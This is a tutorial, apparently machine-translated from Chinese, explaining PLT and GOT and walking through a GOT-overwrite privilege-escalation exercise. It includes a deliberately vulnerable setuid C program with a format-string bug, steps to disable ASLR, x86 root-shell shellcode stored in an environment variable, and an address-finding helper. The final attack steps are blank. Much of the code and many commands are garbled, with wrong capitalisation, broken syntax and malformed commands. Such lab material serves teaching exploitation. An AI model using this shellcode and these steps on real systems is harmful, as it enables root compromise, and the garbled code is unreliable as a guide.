PLT, GOT Introduction and simple GOT attack experiment

Reprint modified from http://blog.sina.com.cn/s/blog_70dd16910100r1gi.html first part process junction table PLT

Because programs can use the same function multiple times in a shared library, it is useful to define all the functions with a single table. In order to use this method, a dedicated area is used in the compiler, which is called the Process junction table (PLT).
The PLT has many switch orders, each of which corresponds to a pointer to a function address. The PLT is like a springboard, and each time a function needs to be invoked, control is passed by the PLT.
For example, the following program:

GOT_VUL.C
#include <stdio.h>
#include <string.h>

int bof (char *str)
{
char buffer [1024];
The following statement has a buffer overflow problem strncpy
(buffer, str, sizeof (buffer)-1);
printf (buffer);
   Exit (0);
}


int main (int argc, char **argv)
{
   BOF (argv[1]);
   return 1;
}

We use the following command to compile it into the setuid root program:

#gcc-fno-stack-protector got_vul.c-g-o got_vul
#chmod 4755 Got_vul

by $objdump –d–j. Plt./got_vul
We can view the contents of the PLT as follows:

Of the above instructions, the address I identified is a pointer to the entry address of the Exit function.
When we see this, we naturally have an idea:
If the Exit function uses a switch that points to our shellcode, then we can create a root shell vulnerability.
But unfortunately, as the following figure shows, the plt is read-only ;
Therefore, it cannot change its transfer pointer.

But the switch pointer does not point directly to an instruction, but to the first address of the memory area that holds the instruction.
For example, the 0x804a010 pointer points to the memory area where the Exit function resides. More importantly, this area is writable, and this area is the global transfer table got as described below. Part Two Global transfer table (GOT)

As discussed above, pointers to the entry addresses of the transfer functions in the PLT are stored in the PLT table (read-only), but the entry addresses of these functions are stored in another writable region, which we call the Global transfer table (GOT).
Using Objdump–r./got_vul We can view the transfer addresses of these functions as follows:

Our ideas:
Place the Shellcode address in the environment variable and anticipate its actual address. If we can shellcode the address in the Got table to 0x0804a010 the area to which it is pointing, the program is actually calling our shellcode when it thinks it is calling the Exit function. Part III attack GOT

Our attack process is as follows: Step one: Turn off the memory address randomization mechanism
sudo sysctl-w kernel.randomize_va_space Step two: Compile got_vul.c as Set-uid root program, compile-time plus compile options-fno-protector Step three: Store shellcode in environment variables

Export myshell=$ (perl-e ' print "\x90" x4800. "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80")

Step Fourth: Use the program compiled by the following function to get the Shellcode address

Getenvaaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int Main (int argc, char *argv[])
{
       char *ptr;
       if (ARGC < 3)
       {
              printf ("Usage:%s<environment var> <target program name>\n", Argv[0]);
              Exit (0);
       }
       ptr = getenv (argv[1]);   
       ptr = = (strlen (argv[0])-strlen (argv[2)) * 2;
ARGV[0]: Executing program name, in this procedure: Getenvaaddr
//argv[2]: The name of the vulnerability program to be executed (including the path), in this program:./got_vul
//linux Ubuntu The system has verified that both names are one character short, and there is a two-byte address offset
       printf ("%s will be at%p\n", argv[1], PTR);
       return 0;
}

Step Fifth: Rewrite the got and attack

Get address

To attack

References:
Hacking:chapter 0x300. exploitation. The Art of exploitation, 2nd Edition, by Jon Erickson.